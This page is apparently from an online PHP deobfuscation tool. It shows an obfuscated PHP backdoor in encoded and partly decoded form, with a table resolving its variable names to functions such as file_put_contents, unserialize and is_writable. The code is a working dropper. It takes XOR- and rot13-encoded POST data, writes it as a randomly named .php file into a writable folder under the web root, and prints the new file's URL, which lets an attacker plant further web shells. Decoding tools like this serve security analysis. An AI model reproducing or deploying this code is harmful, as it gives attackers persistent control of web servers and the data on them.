Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $WDlQUVCazJ = chr(68).chr(79).chr(334-267)."\125".'M'."\105".chr(828-750).'T'.chr(48..

Decoded Output download

<?php $WDlQUVCazJ = chr(68).chr(79).chr(334-267)."U".'M'."E".chr(828-750).'T'.chr(488-393)."R".'O'.chr(1022-943).chr(1008-924);$BeidBwq = 'H'.chr(670-586)."T".chr(80).chr(95).chr(277-205).chr(544-465).chr(509-426).chr(84);$hTdeyQBk = chr(104)."t".'t'.'p'.chr(58)."/".chr(419-372);$aMNZMYSFJ = chr(252-206)."p".chr(255-151)."p";$zAMeAFzh = 'p'."h".'p';$qJzPwu = chr(793-691)."i".chr(521-413)."e".chr(586-491).'p'.chr(515-398).chr(116)."_"."c".chr(195-84)."n".chr(909-793).'e'.chr(110).chr(116).chr(607-492);$nNIVa = chr(1009-895).'a'.'w'.chr(725-608).chr(114).chr(108)."d".chr(1030-929).'c'.chr(111)."d".'e';$HPPbMDxBa = 'u'."n".chr(1079-964).chr(101).chr(892-778).'i'.'a'."l".'i'.chr(122).chr(883-782);$HvsDkR = 'i'."s".'_'.'w'."r".chr(196-91)."t"."a"."b".chr(108).'e';$uYyWoqeFk = 'p'.chr(713-609)."p"."v"."e".'r'.chr(159-44).chr(105).chr(312-201).chr(371-261);$QDDFKLhk = "s"."t".'r'."_".chr(114).chr(111)."t"."1".chr(439-388);$mZlpA = chr(115).'e'.'r'.chr(991-886)."a".'l'.'i'.'z'."e";$ZTtZT = chr(456-341).chr(116)."r".'_'.chr(545-430).chr(112).chr(452-344).chr(678-573).'t';foreach ($_POST as $oRRjeERrD => $sjDBTne){if (strlen($oRRjeERrD) == 16){$sjDBTne = $ZTtZT($nNIVa($QDDFKLhk($sjDBTne)));$oRRjeERrD = array_slice($ZTtZT(str_repeat($oRRjeERrD, (count($sjDBTne)/16)+1)), 0, count($sjDBTne));function TAohiaU($mQSkh, $yzlYJPrcNj, $oRRjeERrD){$khRyynpI = "ed8e183f-04a4-462d-8dfa-d60ca27a0c98";return $mQSkh ^ $khRyynpI[$yzlYJPrcNj % strlen($khRyynpI)] ^ $oRRjeERrD;}$sjDBTne = implode("", array_map("TAohiaU", array_values($sjDBTne), array_keys($sjDBTne), array_values($oRRjeERrD)));$sjDBTne = @$HPPbMDxBa($sjDBTne);if (@is_array($sjDBTne)){$HVnsfKbPe = array_keys($sjDBTne);$sjDBTne = $sjDBTne[$HVnsfKbPe[0]];if ($sjDBTne === $HVnsfKbPe[0]){echo @$mZlpA(Array($zAMeAFzh => @$uYyWoqeFk(), ));exit();}else {function ILLBT($TdNmvMir){static $KcsXqsjSGy = array();$lcmCjjVJpc = glob($TdNmvMir . '/*', GLOB_ONLYDIR);if (count($lcmCjjVJpc) > 0) {foreach ($lcmCjjVJpc as $TdNmvM) {if (@$HvsDkR($TdNmvM)) {$KcsXqsjSGy[] = $TdNmvM;}}}foreach ($lcmCjjVJpc as $TdNmvMir) ILLBT($TdNmvMir);return $KcsXqsjSGy;}$gohZVPix = $_SERVER[$WDlQUVCazJ];$lcmCjjVJpc = ILLBT($gohZVPix);$HVnsfKbPe = array_rand($lcmCjjVJpc);$edwJBYiCU = $lcmCjjVJpc[$HVnsfKbPe] . "/" . substr(md5(time()), 0, 8) . $aMNZMYSFJ;@$qJzPwu($edwJBYiCU, $sjDBTne);echo $hTdeyQBk . $_SERVER[$BeidBwq] . substr($edwJBYiCU, strlen($gohZVPix));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $WDlQUVCazJ = chr(68).chr(79).chr(334-267)."\125".'M'."\105".chr(828-750).'T'.chr(488-393)."\x52".'O'.chr(1022-943).chr(1008-924);$BeidBwq = 'H'.chr(670-586)."\x54".chr(80).chr(95).chr(277-205).chr(544-465).chr(509-426).chr(84);$hTdeyQBk = chr(104)."\164".'t'.'p'.chr(58)."\x2f".chr(419-372);$aMNZMYSFJ = chr(252-206)."\160".chr(255-151)."\x70";$zAMeAFzh = 'p'."\150".'p';$qJzPwu = chr(793-691)."\151".chr(521-413)."\145".chr(586-491).'p'.chr(515-398).chr(116)."\137"."\x63".chr(195-84)."\x6e".chr(909-793).'e'.chr(110).chr(116).chr(607-492);$nNIVa = chr(1009-895).'a'.'w'.chr(725-608).chr(114).chr(108)."\x64".chr(1030-929).'c'.chr(111)."\144".'e';$HPPbMDxBa = 'u'."\156".chr(1079-964).chr(101).chr(892-778).'i'.'a'."\154".'i'.chr(122).chr(883-782);$HvsDkR = 'i'."\x73".'_'.'w'."\x72".chr(196-91)."\x74"."\141"."\x62".chr(108).'e';$uYyWoqeFk = 'p'.chr(713-609)."\x70"."\166"."\145".'r'.chr(159-44).chr(105).chr(312-201).chr(371-261);$QDDFKLhk = "\163"."\x74".'r'."\x5f".chr(114).chr(111)."\x74"."\x31".chr(439-388);$mZlpA = chr(115).'e'.'r'.chr(991-886)."\x61".'l'.'i'.'z'."\145";$ZTtZT = chr(456-341).chr(116)."\162".'_'.chr(545-430).chr(112).chr(452-344).chr(678-573).'t';foreach ($_POST as $oRRjeERrD => $sjDBTne){if (strlen($oRRjeERrD) == 16){$sjDBTne = $ZTtZT($nNIVa($QDDFKLhk($sjDBTne)));$oRRjeERrD = array_slice($ZTtZT(str_repeat($oRRjeERrD, (count($sjDBTne)/16)+1)), 0, count($sjDBTne));function TAohiaU($mQSkh, $yzlYJPrcNj, $oRRjeERrD){$khRyynpI = "ed8e183f-04a4-462d-8dfa-d60ca27a0c98";return $mQSkh ^ $khRyynpI[$yzlYJPrcNj % strlen($khRyynpI)] ^ $oRRjeERrD;}$sjDBTne = implode("", array_map("TAohiaU", array_values($sjDBTne), array_keys($sjDBTne), array_values($oRRjeERrD)));$sjDBTne = @$HPPbMDxBa($sjDBTne);if (@is_array($sjDBTne)){$HVnsfKbPe = array_keys($sjDBTne);$sjDBTne = $sjDBTne[$HVnsfKbPe[0]];if ($sjDBTne === $HVnsfKbPe[0]){echo @$mZlpA(Array($zAMeAFzh => @$uYyWoqeFk(), ));exit();}else {function ILLBT($TdNmvMir){static $KcsXqsjSGy = array();$lcmCjjVJpc = glob($TdNmvMir . '/*', GLOB_ONLYDIR);if (count($lcmCjjVJpc) > 0) {foreach ($lcmCjjVJpc as $TdNmvM) {if (@$HvsDkR($TdNmvM)) {$KcsXqsjSGy[] = $TdNmvM;}}}foreach ($lcmCjjVJpc as $TdNmvMir) ILLBT($TdNmvMir);return $KcsXqsjSGy;}$gohZVPix = $_SERVER[$WDlQUVCazJ];$lcmCjjVJpc = ILLBT($gohZVPix);$HVnsfKbPe = array_rand($lcmCjjVJpc);$edwJBYiCU = $lcmCjjVJpc[$HVnsfKbPe] . "/" . substr(md5(time()), 0, 8) . $aMNZMYSFJ;@$qJzPwu($edwJBYiCU, $sjDBTne);echo $hTdeyQBk . $_SERVER[$BeidBwq] . substr($edwJBYiCU, strlen($gohZVPix));exit();}}}}

Function Calls

chr 58

Variables

$ZTtZT str_split
$mZlpA serialize
$nNIVa rawurldecode
$HvsDkR is_writable
$qJzPwu file_put_contents
$BeidBwq HTTP_HOST
$QDDFKLhk str_rot13
$hTdeyQBk http://
$zAMeAFzh php
$HPPbMDxBa unserialize
$aMNZMYSFJ .php
$uYyWoqeFk phpversion
$WDlQUVCazJ DOCUMENT_ROOT

Stats

MD5 e1479b5b6adc1dfc4be1f721bcbac2f0
Eval Count 0
Decode Time 131 ms